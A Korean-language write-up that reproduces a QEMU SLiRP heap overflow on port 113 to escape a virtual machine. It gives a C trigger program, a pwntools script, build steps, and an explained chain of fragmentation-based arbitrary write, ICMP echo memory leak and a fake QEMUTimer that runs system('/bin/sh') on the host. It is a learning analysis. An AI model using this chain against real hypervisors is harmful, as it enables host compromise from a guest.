QEMU의 113 포트 (SLiRP module)에서 힙 오버플로우 취약점이 존재해 해당 취약점을 통해 VM Escape을 얻은 케이스다. PoC가 주어져있는데, 아래와 같다.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>
int main() {
int s, ret;
struct sockaddr_in ip_addr;
char buf[0x500];
s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr("10.0.2.2"); // host IP
ip_addr.sin_port = htons(113); // vulnerable port
ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
memset(buf, 'A', 0x500);
while (1) {
write(s, buf, 0x500);
}
return 0;
}
113에 TCP로 계속해서 데이터를 넣는 모습을 확인할 수 있다. 데이터가 계속해서 써지면 결국 힙 오버플로우가 발생한다.
환경세팅
-enable-kvm 옵션을 사용하기 위해서는 우분투를 멀티부팅 형식으로 설치할 수밖에 없었다. Nested로 하는 방법도 존재했지만 시스템에 어떤 영향을 줄지 예상이 가지 않아 우분투를 설치하기로 마음먹었다.
우분투를 설치하는데 많은 트러블슈팅 과정을 거쳤다. 그램과 노트북, rufus / unetbootin / UUI를 번갈아 가며 설치를 시도했지만 결국에는 노트북에 기존에 가지고 있었던 Ubuntu 18.04.1 버전을 설치하였다. 노트북 BIOS 옵션에 들어가 꼭꼭 숨겨져있던 UEFI 옵션을 끄고서야 USB 부팅이 되었고, 그램에 설치를 시도할 때에는 UEFI 부팅을 끄는 옵션이 있었지만 Legacy Boot 옵션을 킬 수가 없어 (회색으로 처리되어 킬 수 없었다) Ubuntu 설치에 실패하였다.
9시간 정도 소모하여 간신히 우분투를 설치한 뒤에 기본적인 프로그램들을 설치하고 Qemu를 설치하였다. Qemu의 경우 버그가 발생한 Qemu의 정확한 버전을 알수가 없어 v3.1.0 버전을 사용하였다. 해당 버전의 코드를 확인하여 패치가 아직 이루어지지 않았음을 확인하였다. 해당 버전을 설치하는 과정은 다음과 같다.
git clone https://github.com/qemu/qemu
cd qemu
git reset --hard 32a1a94
mkdir build
cd build
../configure
make
cp x86_64-softmmu/qemu-system-x86_64 ../..
위 컴파일 과정을 위해서는 dependency들이 많이 필요한데 해당 리스트는 링크에서 구하였다.
Qemu를 설치했으면 이제 VM을 설치해야 한다. 18.04 우분투 이미지를 받아서 해당 이미지로부터 이미지를 생성해야 했다. 이미지를 생성하는 방법은 링크에서 배울 수 있었지만, 환경이 달라 약간의 조정이 필요했다. 최종적으로 사용한 명령어들은 아래와 같다.
위 명령어들을 실행하면 설치 과정을 실행할 수 있다. 실행해도 화면이 나오지 않는데, VNC server running on 127.0.0.1:5900 메세지를 보고 remmina 프로그램을 통해 VNC 서버에 접속하여 화면을 확인할 수 있었다. 설치 과정은 일반적인 우분투 설치 과정과 동일하다.
해당 설치 과정을 거쳤으면 이미지로부터 스냅샷을 생성해야 한다. 스냅샷은 기존 이미지와 다른 점들만 저장하는 용도로, 용량이 많이 줄어 용량을 아낄 수 있다. 해당 명령어는 아래와 같다.
해당영역에 보낸 데이터가 그대로 이어져서 붙어 나오는 것을 쉽게 확인할 수 있다. 멀티스레드 힙이기 때문에 map 상에는 단순하게 mapped 영역에 있는 것으로 보인다. 청크 사이즈는 0x2245 로 크기가 한정되어 있음을 확인할 수 있다.
이제 데이터를 더 밀어넣고 오버플로우가 발생하는지 확인해보자. 청크 크기+1 만큼 데이터를 밀어넣어 8바이트만큼 오버플로우가 발생하도록 하였다. (다음 청크의 사이즈가 덮이도록 설정하였다)
#!/usr/bin/python
from pwn import *
p = remote("10.0.2.2", 113)
p.send("A"*(0x400-6))
for i in xrange(7):
p.send("A"*0x400)
p.send("G"*0x239)
p.interactive()
해당 write-up을 보게 되면 malloc primitive를 IP Fragmentation을 통해 얻는 것을 확인할 수 있다. 아래 코드를 살펴보자.
// slirp/ip_input.c:184
/*
* If datagram marked as having more fragments
* or if this is not the first fragment,
* attempt reassembly; if it succeeds, proceed.
*/
if (ip->ip_tos & 1 || ip->ip_off) {
ip = ip_reass(slirp, ip, fp);
if (ip == NULL)
return;
m = dtom(slirp, ip);
} else
if (fp)
ip_freef(slirp, fp);
ip_reass 에서 리턴값을 NULL로 받게 되면 바로 return 해버리기 때문에 m_buf가 그대로 남아있는 것을 확인할 수 있다. ip_reass에서 리턴값이 NULL이 되는 경우는 다음과 같다.
fp == NULL
insert로 이동
큐 확인 후 해당 fragment 패킷을 삽입하는 것이 불가능하다. -> NULL 반환
하지만 해당 루틴까지 오기 위해 거쳐야 할 체크들이 존재한다. (아래 체크들이 만족하면 문제가 되며 바로 m_free 루틴으로 향한다)
m->m_len < sizeof (struct ip)
ip->ip_v != IPVERSION
hlen<sizeof(struct ip ) || hlen>m->m_len
cksum(m,hlen)
ip->ip_len < hlen
m->m_len < ip->ip_len
ip->ip_ttl == 0
마지막으로 ip->ip_off &~ IP_DF, ip->ip_tos & 1 || ip->ip_off 조건들도 만족해야 원하는 루틴을 트리거할 수 있다. 아래 코드를 작성하고 돌렸을 경우 malloc이 연속적으로 수행되면서 청크가 쌓인다.
// slirp/mbuf.c:129
/*
* Copy data from one mbuf to the end of
* the other.. if result is too big for one mbuf, allocate
* an M_EXT data segment
*/
void
m_cat(struct mbuf *m, struct mbuf *n)
{
/*
* If there's no room, realloc
*/
if (M_FREEROOM(m) < n->m_len)
m_inc(m, m->m_len + n->m_len);
memcpy(m->m_data+m->m_len, n->m_data, n->m_len);
m->m_len += n->m_len;
m_free(n);
}
ip_reass 의 루틴을 이용하여 m_cat을 호출할 수 있으며, m_cat 에서는 memcpy로 데이터를 복사하여 넣어준다. 이를 이용하여 arbitrary write를 얻을 수 있다. m_cat을 실행하는 것은 단순히 같은 ip id 에 대해 MF를 끈 상태로 패킷을 보내면 된다. 그러면 조작한 m_data와 m_len에 따라서 데이터가 복사되어 들어가게 된다.
Memory Leak
ICMP echo reply에 대한 rfc792 문서를 보게 되면 아래 내용을 확인할 수 있다.
The data received in the echo message must be returned in the echo reply message.
즉, 보낸 데이터를 그대로 다시 돌려준다는 것이다. 따라서 이를 이용하여 memory leak을 낼 것이다.
Arbitrary write에서 했던 것과 비슷하게 한다. 다만, 이번에는 m_data를 전체 다 덮는 것이 아니라 일부만 (하위 3바이트) 덮어서 메모리를 얻을 것이다. 익스플로잇 진행 흐름은 아래와 같다.
m_buf를 partial overwrite해서 힙의 다른 위치를 가리키게 한다.
MF=1로 ICMP request를 보낸다.
sbuf에서 heap overflow를 일으켜서 m_data의 하위 3바이트를 덮는다.
MF=0으로 ICMP request를 보낸다. (2와 같은 아이디로)
이를 통해 Host에 ICMP request를 보내면 echo reply로 게스트에 메모리 값들을 다시 보내주게 된다. 해당 데이터를 다시 받아 libc base 주소와 heap 주소를 얻으면 된다.
PC Control
PC Control의 경우 QEMUTimer를 이용하면 된다. 해당 코드는 아래와 같다.
// util/qemu-timer.c:68
struct QEMUTimerList {
QEMUClock *clock;
QemuMutex active_timers_lock;
QEMUTimer *active_timers;
QLIST_ENTRY(QEMUTimerList) list;
QEMUTimerListNotifyCB *notify_cb;
void *notify_opaque;
/* lightweight method to mark the end of timerlist's running */
QemuEvent timers_done_ev;
};
// include/qemu/timer.h:83
struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
QEMUTimerList *timer_list;
QEMUTimerCB *cb;
void *opaque;
QEMUTimer *next;
int attributes;
int scale;
};
QEMU timer에 관한 코드들은 위와 같다. main_loop_tlg 에 저장되어 있는 Timer 리스트를 가지고 와서 해당 리스트에 있는 timer의 cb 함수를 호출하게 된다. 따라서 fake timer list를 만든 뒤에 main_loop_tlg 를 덮어서 가짜로 만든 리스트를 참조하게 하면 된다. 그러면 cb에 넣은 함수 포인터를 참조하여 함수를 실행하게 되고, 이를 이용하여 PC Control을 얻을 수 있다.
힙의 적당한 위치에 arbitrary write primitive를 이용하여 fake timer list를 작성하고 다시 arbitrary write를 통해 main_loop_tlg를 덮어 fake timer list를 가리키게 하면 된다. cb에 system 함수를 넣으면 system을 실행해준다. cb 에 system을 넣고 opaque 에 명령어를 입력하면 (ex - "/bin/sh") system에 opaque에 들어가 있는 인자를 넣고 실행시킨다. 이를 통해 system에 원하는 명령어를 넣어 실행시킬 수 있다.
SLiRP에서 발생하는 힙 오버플로우 취약점을 성공적으로 익스플로잇할 수 있었다. 처음에 scapy를 이용하여 익스플로잇을 재구성하다가 실패하였고 그 원인을 6일간 삽질한 끝에 MTU를 조정하지 않았기 때문임을 알 수 있었다. 결국에는 주어진 익스플로잇 코드를 오프셋과 구조를 다시 변경하여 세팅한 환경에서 작동할 수 있도록 재구성하였고, 그 결과 성공적으로 익스플로잇을 할 수 있었다.
시간 관계상 scapy로 익스플로잇 코드를 재구성하는 것은 하지 못하지만 그래도 QEMU의 네트워크에서 발생하는 취약점을 어떻게 익스플로잇할 수 있는지 배울 수 있었다. 네트워크 프로토콜을 잘 조작하면 malloc primitive 등 원하는 기능을 수행할 수 있도록 바꿀 수 있다는 것을 확인할 수 있었고, 배우기만 했지만 직접 해보지 않았던 리얼월드에서 익스플로잇을 성공적으로 수행하기 위한 heap spray 기법 등을 이번 기회를 통해 직접 해볼 수 있었다.
마지막으로 security mitigation들이 모두 걸려있어 익스플로잇이 힘든 바이너리에서 QEMUTimer를 이용하여 익스플로잇을 할 수 있다는 것을 이번 익스플로잇 분석을 통해 배울 수 있었다.